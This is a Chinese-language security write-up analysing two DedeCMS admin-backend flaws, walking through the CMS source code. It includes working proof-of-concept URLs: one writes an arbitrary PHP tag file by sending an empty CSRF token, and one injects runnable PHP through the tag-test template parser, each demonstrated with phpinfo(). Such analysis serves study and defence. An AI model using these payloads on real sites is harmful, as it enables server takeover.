0x01 前言
其实这个不算是漏洞,毕竟是后台的正常功能。但是出于学习的目的,就分析学习一下。
0x02 过程
1.任意文件上传
该问题存在 /dede/tpl.php 中,程序会经过 stripslashes() 处理 $content的内容。由于dedecms全局变量注册的特性,所以我们可以控制$content以及$filename的值
<?php
// ......
else if($action=='savetagfile')
{
csrf_check();
if(!preg_match("#^[a-z0-9_-]{1,}\.lib\.php$#i", $filename))
{
ShowMsg('文件名不合法,不允许进行操作!', '-1');
exit();
}
require_once(DEDEINC.'/oxwindow.class.php');
$tagname = preg_replace("#\.lib\.php$#i", "", $filename);
$content = stripslashes($content);
$truefile = DEDEINC.'/taglib/'.$filename;
$fp = fopen($truefile, 'w');
fwrite($fp, $content);
fclose($fp);
$msg = "
<form name='form1' action='tag_test_action.php' target='blank' method='post'>
<input type='hidden' name='dopost' value='make' />
<b>测试标签:</b>(需要使用环境变量的不能在此测试)<br/>
<textarea name='partcode' cols='150' rows='6' style='width:90%;'>{dede:{$tagname} }{/dede:{$tagname}}</textarea><br />
<input name='imageField1' type='image' class='np' src='images/button_ok.gif' width='60' height='22' border='0' />
</form>
";
$wintitle = "成功修改/创建文件!";
$wecome_info = "<a href='templets_tagsource.php'>标签源码碎片管理</a> >> 修改/新建标签";
$win = new OxWindow();
$win->AddTitle("修改/新建标签:");
$win->AddMsgItem($msg);
$winform = $win->GetWindow("hand"," ",false);
$win->Display();
exit();
}
srf_check()函数在config.php中被定义。用户检测token,我们可以将token设置为空来绕过
<?php
function csrf_check()
{
global $token;
if(!isset($token) || strcasecmp($token, $_SESSION['token']) != 0){
echo '<a href="http://bbs.dedecms.com/907721.html">DedeCMS:CSRF Token Check Failed!</a>';
exit;
}
}
通过对问题的分析,我们可以构造出payload
http://localhost/dedecms/dede/tpl.php?action=savetagfile&filename=test123456.lib.php&content=<?php phpinfo();?>&token=
2.任意代码注入
Payload:
http://localhost/dedecms/dede/tag_test_action.php?url=a&token=&partcode={dede:test%20name=%27source%27%20runphp=%27yes%27}phpinfo();{/dede:test};{/dede:test})
问题存在于 dede/tag_test_action.php 中,程序首先会经过 csrf_check()函数,上面讲过,可以设置为空绕过。而在文件中的 $partcode 是我们可以控制的
<?php
/**
* 标签测试操作
*
* @version $Id: tag_test_action.php 1 23:07 2010年7月20日Z tianya $
* @package DedeCMS.Administrator
* @copyright Copyright (c) 2007 - 2010, DesDev, Inc.
* @license http://help.dedecms.com/usersguide/license.html
* @link http://www.dedecms.com
*/
require_once(dirname(__FILE__)."/config.php");
CheckPurview('temp_Test');
require_once(DEDEINC."/arc.partview.class.php");
csrf_check();
if(empty($partcode))
{
ShowMsg('错误请求','javascript:;');
exit;
}
$partcode = stripslashes($partcode);
if(empty($typeid)) $typeid = 0;
if(empty($showsource)) $showsource = "";
if($typeid>0) $pv = new PartView($typeid);
else $pv = new PartView();
$pv->SetTemplet($partcode, "string");
if( $showsource == "" || $showsource == "yes" )
{
echo "模板代码:";
echo "<span style='color:#ff0000;'><pre>" .dede_htmlspecialchars($partcode)."</pre></span>";
echo "结果:<hr size='1' width='100%'>";
}
$pv->Display();
由于我们的typeid为空,所以程序会进入new PartView();我们跟进去看看
<?php
function __construct($typeid=0,$needtypelink=TRUE)
{
global $_sys_globals,$ftp;
$this->TypeID = $typeid;
$this->dsql = $GLOBALS['dsql'];
$this->dtp = new DedeTagParse();
$this->dtp->SetNameSpace("dede","{","}");
$this->dtp->SetRefObj($this);
$this->ftp = &$ftp;
$this->remoteDir = '';
if($needtypelink)
{
$this->TypeLink = new TypeLink($typeid);
if(is_array($this->TypeLink->TypeInfos))
{
foreach($this->TypeLink->TypeInfos as $k=>$v)
{
if(preg_match("/[^0-9]/", $k))
{
$this->Fields[$k] = $v;
}
}
}
$_sys_globals['curfile'] = 'partview';
$_sys_globals['typename'] = $this->Fields['typename'];
//设置环境变量
SetSysEnv($this->TypeID,$this->Fields['typename'],0,'','partview');
}
SetSysEnv($this->TypeID,'',0,'','partview');
$this->Fields['typeid'] = $this->TypeID;
//设置一些全局参数的值
foreach($GLOBALS['PubFields'] as $k=>$v)
{
$this->Fields[$k] = $v;
}
}
//php4构造函数
function PartView($typeid=0,$needtypelink=TRUE)
{
$this->__construct($typeid,$needtypelink);
}
该函数实例化了一个DedeTagParse对象,该类用户定义dede标签格式
<?php
class DedeTagParse
{
var $NameSpace = 'dede'; //标记的名字空间
var $TagStartWord = '{'; //标记起始
var $TagEndWord = '}'; //标记结束
var $TagMaxLen = 64; //标记名称的最大值
var $CharToLow = TRUE; // TRUE表示对属性和标记名称不区分大小写
var $IsCache = FALSE; //是否使用缓冲
var $TempMkTime = 0;
var $CacheFile = '';
var $SourceString = ''; //模板字符串
var $CTags = array(); //标记集合
var $Count = -1; //$Tags标记个数
var $refObj = ''; //引用当前模板类的对象
var $taghashfile = '';
function __construct()
{
if(!isset($GLOBALS['cfg_tplcache']))
{
$GLOBALS['cfg_tplcache'] = 'N';
}
if($GLOBALS['cfg_tplcache']=='Y')
{
$this->IsCache = TRUE;
}
else
{
$this->IsCache = FALSE;
}
if ( DEDE_ENVIRONMENT == 'development' )
{
$this->IsCache = FALSE;
}
$this->NameSpace = 'dede';
$this->TagStartWord = '{';
$this->TagEndWord = '}';
$this->TagMaxLen = 64;
$this->CharToLow = TRUE;
$this->SourceString = '';
$this->CTags = array();
$this->Count = -1;
$this->TempMkTime = 0;
$this->CacheFile = '';
}
function DedeTagParse()
{
$this->__construct();
}
继续看 dede/tag_test_action.php,程序调用了 SetTemplet()函数,并将我们可以控制的$partcode当作参数传入。我们跟进 SetTemplet()函数看看.
<?php
/**
* 设置要解析的模板
*
* @access public
* @param string $temp 模板
* @param string $stype 设置类型
* @return string
*/
function SetTemplet($temp,$stype="file")
{
if($stype=="string")
{
$this->dtp->LoadSource($temp);
}
else
{
$this->dtp->LoadTemplet($temp);
}
if($this->TypeID > 0)
{
$this->Fields['position'] = $this->TypeLink->GetPositionLink(TRUE);
$this->Fields['title'] = $this->TypeLink->GetPositionLink(false);
}
$this->ParseTemplet();
}
我们调用SetTemplet函数的时候已经传入$stype==”string”,跟进LoadSource看看
<?php
function LoadSource($str)
{
/*
$this->SetDefault();
$this->SourceString = $str;
$this->IsCache = FALSE;
$this->ParseTemplet();
*/
//优化模板字符串存取读取方式
$this->taghashfile = $filename = DEDEDATA.'/tplcache/'.md5($str).'.inc';
if( !is_file($filename) )
{
file_put_contents($filename, $str);
}
$this->LoadTemplate($filename);
}
LoadSource方法会帮我们生成一个inc文件并将我们的内容写入,这里的$str其实就是我们的$partcode参数,紧接着进入了LoadTemplate函数
<?php
/**
* 载入模板文件
*
* @access public
* @param string $filename 文件名称
* @return string
*/
function LoadTemplate($filename)
{
$this->SetDefault();
if(!file_exists($filename))
{
$this->SourceString = " $filename Not Found! ";
$this->ParseTemplet();
}
else
{
$fp = @fopen($filename, "r");
while($line = fgets($fp,1024))
{
$this->SourceString .= $line;
}
fclose($fp);
if($this->LoadCache($filename))
{
return '';
}
else
{
$this->ParseTemplet();
}
}
}
该函数会首先调用了SetDefault进行了一些初始化操作,紧接着将$filename文件的内存传入$this->SourceString,这里的$this->SourceString其实就是我们传入的内容。然后又调用了LoadCache函数
<?php
function LoadCache($filename)
{
global $cfg_tplcache,$cfg_tplcache_dir;
if(!$this->IsCache)
{
return FALSE;
}
$cdir = dirname($filename);
$cachedir = DEDEROOT.$cfg_tplcache_dir;
$ckfile = str_replace($cdir,'',$filename).substr(md5($filename),0,16).'.inc';
$ckfullfile = $cachedir.'/'.$ckfile;
$ckfullfile_t = $cachedir.'/'.$ckfile.'.txt';
$this->CacheFile = $ckfullfile;
$this->TempMkTime = filemtime($filename);
if(!file_exists($ckfullfile)||!file_exists($ckfullfile_t))
{
return FALSE;
}
//检测模板最后更新时间
$fp = fopen($ckfullfile_t,'r');
$time_info = trim(fgets($fp,64));
fclose($fp);
if($time_info != $this->TempMkTime)
{
return FALSE;
}
//引入缓冲数组
include($this->CacheFile);
$errmsg = '';
//把缓冲数组内容读入类
if( isset($z) && is_array($z) )
{
foreach($z as $k=>$v)
{
$this->Count++;
$ctag = new DedeTAg();
$ctag->CAttribute = new DedeAttribute();
$ctag->IsReplace = FALSE;
$ctag->TagName = $v[0];
$ctag->InnerText = $v[1];
$ctag->StartPos = $v[2];
$ctag->EndPos = $v[3];
$ctag->TagValue = '';
$ctag->TagID = $k;
if(isset($v[4]) && is_array($v[4]))
{
$i = 0;
$ctag->CAttribute->Items = array();
foreach($v[4] as $k=>$v)
{
$ctag->CAttribute->Count++;
$ctag->CAttribute->Items[$k]=$v;
}
}
$this->CTags[$this->Count] = $ctag;
}
}
else
{
//模板没有缓冲数组
$this->CTags = '';
$this->Count = -1;
}
return TRUE;
}
该函数会将 $this->CacheFile设置为绝对路径,文件内容是我们刚刚传入的值,而$this->TempMkTime的值为我们修改文件的时间戳。由于此时我们的文件还不存在,所以会返回false。此时程序进入了else语句,调用了$this->ParseTemplet();跟进去瞅瞅
<?php
function ParseTemplet()
{
$TagStartWord = $this->TagStartWord;
$TagEndWord = $this->TagEndWord;
$sPos = 0; $ePos = 0;
$FullTagStartWord = $TagStartWord.$this->NameSpace.":";
$sTagEndWord = $TagStartWord."/".$this->NameSpace.":";
$eTagEndWord = "/".$TagEndWord;
$tsLen = strlen($FullTagStartWord);
$sourceLen=strlen($this->SourceString);
if( $sourceLen <= ($tsLen + 3) )
{
return;
}
$cAtt = new DedeAttributeParse();
$cAtt->charToLow = $this->CharToLow;
//遍历模板字符串,请取标记及其属性信息
//太长了,不想打进去
if($this->IsCache)
{
$this->SaveCache();
}
}
此时的IsCache为true,所以会调用SaveCache(),该函数的功能是写一些文件。写入的信息是我们传入的值的一些信息
<?php
/**
* 写入缓存
*
* @access public
* @param string
* @return string
*/
function SaveCache()
{
$fp = fopen($this->CacheFile.'.txt',"w");
fwrite($fp,$this->TempMkTime."\n");
fclose($fp);
$fp = fopen($this->CacheFile,"w");
flock($fp,3);
fwrite($fp,'<'.'?php'."\r\n");
$errmsg = '';
if(is_array($this->CTags))
{
foreach($this->CTags as $tid=>$ctag)
{
$arrayValue = 'Array("'.$ctag->TagName.'",';
if (!$this->CheckDisabledFunctions($ctag->InnerText, $errmsg)) {
fclose($fp);
@unlink($this->taghashfile);
@unlink($this->CacheFile);
@unlink($this->CacheFile.'.txt');
die($errmsg);
}
$arrayValue .= '"'.str_replace('$','\$',str_replace("\r","\\r",str_replace("\n","\\n",str_replace('"','\"',str_replace("\\","\\\\",$ctag->InnerText))))).'"';
$arrayValue .= ",{$ctag->StartPos},{$ctag->EndPos});";
fwrite($fp,"\$z[$tid]={$arrayValue}\n");
if(is_array($ctag->CAttribute->Items))
{
fwrite($fp,"\$z[$tid][4]=array();\n");
foreach($ctag->CAttribute->Items as $k=>$v)
{
$v = str_replace("\\","\\\\",$v);
$v = str_replace('"',"\\".'"',$v);
$v = str_replace('$','\$',$v);
$k = trim(str_replace("'","",$k));
if($k=="")
{
continue;
}
if($k!='tagname')
{
fwrite($fp,"\$z[$tid][4]['$k']=\"$v\";\n");
}
}
}
}
}
fwrite($fp,"\n".'?'.'>');
fclose($fp);
}
下面就不一一分析了,可以参考https://mochazz.github.io/2018/03/29/dedecms%E6%9C%80%E6%96%B0%E5%90%8E%E5%8F%B0getshell/的文章